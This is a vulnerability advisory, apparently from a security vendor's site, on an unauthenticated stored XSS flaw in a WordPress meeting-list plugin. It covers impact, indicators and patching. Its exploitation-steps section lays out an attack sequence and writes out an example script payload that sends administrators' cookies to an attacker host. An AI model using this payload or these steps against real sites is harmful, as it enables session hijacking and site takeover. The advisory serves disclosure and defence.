CVE-2026-78333
WordPress Análisis y mitigación de vulnerabilidades

Vista general

CVE-2026-78333 is an unauthenticated Stored Cross-Site Scripting (XSS) vulnerability in the 12 Step Meeting List WordPress plugin, affecting versions 3.17 through 3.19.16. The flaw allows unauthenticated attackers to inject malicious scripts via a geocode event log value that is stored in the plugin's activity log and later rendered in the WordPress admin area. It was publicly disclosed on August 25, 2026, with a patch released in version 3.19.17. The vulnerability carries a CVSS score of 8.8 (High) per WPScan, and is classified under CWE-79 (WPScan, Github Advisory).

Técnicas

The root cause is improper input sanitization and output escaping (CWE-79): the plugin fails to sanitize a user-supplied value — specifically related to geocode data submitted during meeting list interactions — before storing it in its activity log. When an administrator views the activity log page in the WordPress admin area, the unsanitized value is rendered directly in the browser, triggering execution of any injected JavaScript. Because the submission endpoint is accessible to unauthenticated users, no authentication or special privileges are required to plant the payload. A proof-of-concept is scheduled for public release on September 25, 2026, giving site operators time to patch (WPScan).

Impacto

Successful exploitation allows an unauthenticated attacker to execute arbitrary JavaScript in the browser of any high-privilege user (e.g., WordPress administrator) who views the affected admin area page. This can lead to session hijacking, credential theft, unauthorized administrative actions (such as creating rogue admin accounts or installing malicious plugins), and full site compromise. The stored nature of the attack means the payload persists and executes for every admin who views the log, amplifying the potential impact (WPScan, Github Advisory).

Explotabilidad

There is currently no public proof-of-concept exploit available; WPScan has indicated the PoC will be released on September 25, 2026. No evidence of in-the-wild exploitation has been reported at this time. The EPSS score is 0.0, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities catalog. The low barrier to exploitation — requiring no authentication — makes this a notable risk once a PoC becomes public (WPScan, Github Advisory).

Pasos de explotación

  1. Reconnaissance: Identify WordPress sites running the 12 Step Meeting List plugin (versions 3.17–3.19.16) using tools like WPScan, Shodan, or by inspecting plugin directories on publicly accessible sites.
  2. Craft malicious payload: Prepare a JavaScript XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) to be injected into the geocode-related input field.
  3. Submit unauthenticated request: Send a crafted HTTP request to the plugin's geocode event endpoint without any authentication, embedding the malicious payload in the relevant parameter that gets written to the activity log.
  4. Wait for admin interaction: The payload is stored in the plugin's activity log. When an administrator navigates to the admin area page displaying the log, the browser renders and executes the injected script.
  5. Achieve objective: The executed script can exfiltrate session cookies, perform actions on behalf of the admin (e.g., create a backdoor account), or redirect the admin to a phishing page (WPScan).

Indicadores de compromiso

  • Network: Outbound HTTP requests from the admin's browser to unexpected external domains shortly after viewing the plugin's activity log page; unusual POST requests to the plugin's geocode endpoint from unknown or automated IP addresses.
  • Logs: WordPress access logs showing repeated unauthenticated POST requests to the 12 Step Meeting List plugin's geocode-related endpoint with anomalous or encoded parameter values.
  • File System: Unexpected new WordPress admin accounts or installed plugins not authorized by legitimate administrators.
  • Browser/Session: Administrators reporting unexpected logouts, session invalidation, or unauthorized changes to site settings after viewing the activity log page.

Mitigación y soluciones alternativas

Update the 12 Step Meeting List WordPress plugin to version 3.19.17 or later, which addresses the sanitization and escaping deficiencies. No official workaround short of patching has been published; as an interim measure, administrators should restrict access to the WordPress admin area using IP allowlisting or HTTP authentication. Sites should also audit their activity logs for suspicious entries and review recently created admin accounts or installed plugins for signs of prior exploitation (WPScan, Github Advisory).

Reacciones de la comunidad

The vulnerability was discovered and reported by security researcher Huseyn and verified by WPScan. No notable broader media coverage or significant social media discussion has been identified at this time, consistent with the early disclosure stage and the absence of a public PoC (WPScan).

Recursos adicionales


FuenteEste informe se generó utilizando IA

Relacionado WordPress Vulnerabilidades:

CVE ID

Severidad

Puntuación

Tecnologías

Nombre del componente

Exploit de CISA KEV

Tiene arreglo

Fecha de publicación

CVE-2026-78333NONEN/A
  • 12-step-meeting-list
NoAug 27, 2026
CVE-2026-78139NONEN/A
  • woocommerce-product-stock-alert
NoAug 27, 2026
CVE-2026-78138NONEN/A
  • finale-woocommerce-sales-countdown-timer-discount
NoAug 27, 2026
CVE-2026-78137NONEN/A
  • storegrowth-sales-booster
NoAug 27, 2026
CVE-2026-78125NONEN/A
  • learnpress-sepay-payment
NoAug 27, 2026

Evaluación gratuita de vulnerabilidades

Compare su postura de seguridad en la nube

Evalúe sus prácticas de seguridad en la nube en 9 dominios de seguridad para comparar su nivel de riesgo e identificar brechas en sus defensas.

Solicitar evaluación

Recursos adicionales de Wiz

Obtén una demostración personalizada

¿Listo para ver a Wiz en acción?

"La mejor experiencia de usuario que he visto en mi vida, proporciona una visibilidad completa de las cargas de trabajo en la nube."
David EstlickCISO
"Wiz proporciona un panel único para ver lo que ocurre en nuestros entornos en la nube."
Adam FletcherJefe de Seguridad
"Sabemos que si Wiz identifica algo como crítico, en realidad lo es."
Greg PoniatowskiJefe de Gestión de Amenazas y Vulnerabilidades